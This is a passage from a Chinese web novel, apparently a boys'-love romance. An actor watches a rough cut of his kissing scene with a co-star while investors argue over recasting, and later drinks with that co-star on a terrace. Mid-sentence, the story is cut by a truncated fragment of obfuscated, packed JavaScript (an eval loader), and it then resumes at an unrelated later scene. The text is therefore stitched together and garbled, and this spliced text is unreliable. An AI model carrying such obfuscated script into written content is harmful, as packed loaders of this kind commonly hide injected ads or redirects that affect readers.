“我也改我也改。”一位女经纪人脸上戴着姨母笑,在那儿碎碎念:“挺激情的。” 局势竟然就这么反转了。 常五指指颜纯,再指指漆小海,不死心地说:“导演,就不能让他俩搭吗?咱颜老师演技这么好,和谁搭能不出彩。” 袁严心里冷哼一声,要是来个人就能和角色贴合,和对手演员相搭,还用他前期花将近半年时间,那么绞尽脑汁地挑演员吗? 这些唯利是图的资本家,脑子一抽想出一坨屎,嘴一张就想抹掉前期所有工作人员的付出。不尊重真正干活的人的心血,不把原本已经达到最佳程度的状况搅浑,他们就像是痔疮破了大腚长刺,一刻都坐不住。 要不你们来当导演? “行倒是也行。”袁导说。信洋闻言心下一凛,两条剑眉唰地拧在了一起,盯着导演无声怒吼:我们才是一对儿!纯哥亲口说的! 袁导:“……”把你那摇上天的尾巴快收收吧。 信洋收不了,让别人和颜纯搭戏,简直比他自己演不了这戏还要让他难受。一时,悔恨自责焦灼紧张全部涌上心头,到底哪根筋搭错了要逃那两节课!怎么就不知道努力的!颜老师多好呀颜老师,呜呜呜呜呜,我就要跟他拍! 信洋眼泪出来之前,袁导突然话锋一转。 “这样吧,我先放个粗剪出来的片段大家看看,咱们再商量这个事。” 袁导又把那天拿给信洋看过的,粗剪的那两分钟强吻亲热戏掏出来了。 虽然第二次看了,但信洋看着大屏幕上自己把颜纯按到怀里吻,还是瞬间整个人都熟成了一只虾子。 不过冲击力没有第一次看那么强了,他还发现了许多新鲜的地方,比如自以为废掉的镜头,用了,而那个他感觉良好的对视,竟然没用!呜呜呜……果然,剪辑才是掌握他小命的神。 那个强势臭脸的硬汉竟然是自己?大臂的肌肉线条有那么好看?表情算不上精准,但至少不出戏,原来自己没有想象中那么差。 还有,那被他完全裹在怀里的,另外一个瘦弱苍白的身影竟然看上去那么软,那么好揉,那么欲…… 信洋觉得不可思议,他竟然是自己的动作和表情里,品出了一丝珍视疼惜,沉溺其中的意味。他感觉有点口干,他想起了颜纯舌头的湿润感…… 激吻名场面要来了! 无比羞耻的粘腻水声响起,大屏幕上信洋越亲越投入,舌头几乎都喂到了颜纯嘴里。 信洋狂吞几口吐沫,然后将目光偷偷投向了颜纯。颜纯仰脸看着大屏幕,表情毫无波动。 竟然毫无波动!怎么能毫无波动嘛,信洋噘成窝瓜嘴,明明那天还在他怀里被他咬得哼唧了,这会儿怎么能毫无波动?难道全是演的? 胸口莫名堵了一团气,信洋难受了。但很快他发现,颜纯的耳垂比平时红! 害羞了!颜老师害羞了!颜老师一定也在回味那令骨头都酥掉的舔吻。 就在这时,视频里袁导喊了卡,但狼崽还一副着魔的样子沉醉其中,嘬得越来越猛,亲得越来越响亮,还发出了嗯嗯啊啊这种上不了台面的声音。 ????? 什么时候把这段花絮加上的?明明那晚看还没有! “哈哈哈,喊卡了都没停。”有人笑道。 “这专门培养出来的感情就是不一样啊,别换了,定了吧。”很快有人发表意见了。 在坐的都是懂市场的人,知道什么能卖钱什么卖不了。有人光是看着视频里张力拉满的两个人,都已经想到影片大买后银子哗哗哗进账的声音了。 “其他的不管,撤颜纯我就撤资。”人字拖副总下了结论,“没啥事我就先走了,老婆让我出来买菜的,被你们拉来陪你们搞这些无聊的东西,挑来挑去不还是定第一版?咱为啥投钱?不就是相信袁导,相信人家团队,看中颜纯这么多年累积的好口碑,钱都投出去了,就百分百信任袁导呗,整这一出干嘛!走了。” 第一个骂骂咧咧走了,第二个赶紧跟上。最后总结一句,折腾半天下来,啥也没变。只耽搁了拍摄进度,剧组运转一秒都有大把的钱在那烧,山峰传媒的人真是没事找事,纯找揍。 浆水姨到饭点了没见到她心仪的刀疤帅小伙的到来,气的拎着菜勺就要去看看是谁耽搁孩子吃饭,看她不揍死丫的,多大的事能有吃饭事大? 资本家折腾打工人就跟小孩子过家家似的,气得袁导想爆粗。 等人走的差不多了,信洋上前对袁导真挚道:“袁叔,今天谢谢。” “去谢谢你最该谢谢的人。”袁导拍他肩膀,颜纯已经端着茶缸走远了。“知道他今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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信洋哈哈哈哈哈哈挂了电话,又挨个打给三字哥、宋建桥、乐队小伙伴、Tiger哥和林照、编舞师阿安娜、姥姥姥爷、二舅和三姨、音乐课老师、形体课私教、快递驿站小哥、蔬菜店大姐、小区门口老板……并拜托超市老板给他经常喂的那几只流浪猫也说一声…… 两小时后,他心满意足骑着摩托飙到街上一圈,买了几听黄河。然后回到剧组,去冲了个澡,换了身干净衣服,把自己收拾得花枝招展,折腾到月上树梢,才提着黄河敲开了307的门。 他将黄河提到颜纯面前,笑嘻嘻的:“颜老师,咱俩喝点儿?” 两人搬了躺椅到露台,沉默着喝酒。 夏夜晚风微凉,星辰清明。如果没有一旁毫不掩饰的视线,该是个很好的赏月夜。 颜纯实在受不了,他转头,“你有话直说,盯着看什么?” 信洋立马收回视线。 两秒后他说:“看你。” 颜纯:…… 可能因为今天的事孩子想多了,误会什么了,正常正常。 颜纯也不知道自己抽那根筋了,准备好解释的话到嘴边了,他却转言问:“你在看谁?颜纯还是安耀阳?” 问完却不等信洋回答,立马又说:“粥挺好喝的,你别想多。” 信洋心里顿时一阵失落,“原来是粥的功劳……不对!那粥是袁导给你的,和我又没什么关系……” 他越说越心虚,越说越小声,忍不住就缩起脖子垂下了头。 颜纯也不明着戳破他,只说:“以后做事说话都大大方方的,别弄那些有的没的。” “行吧。”信洋琢磨不透颜纯的意思,瞄了眼颜纯,抬头看着他,含着酒意的视线恍惚但直白,“颜老师,今天……” 颜纯拒谢的话都备在嘴边了,结果听到他说:“今天……你真好看。” 颜纯第二次无语。 他笑呵一声,“看我顺眼了?不给铁哥们报仇了?” 信洋摇头,满脸笑意还有点不好意思。 “我现在有点理解我铁——哦不,那个花心大萝卜了。”他颔首垂眸,手里攥着喝完的空易拉罐捏巴,问:“颜老师,你单身吗?”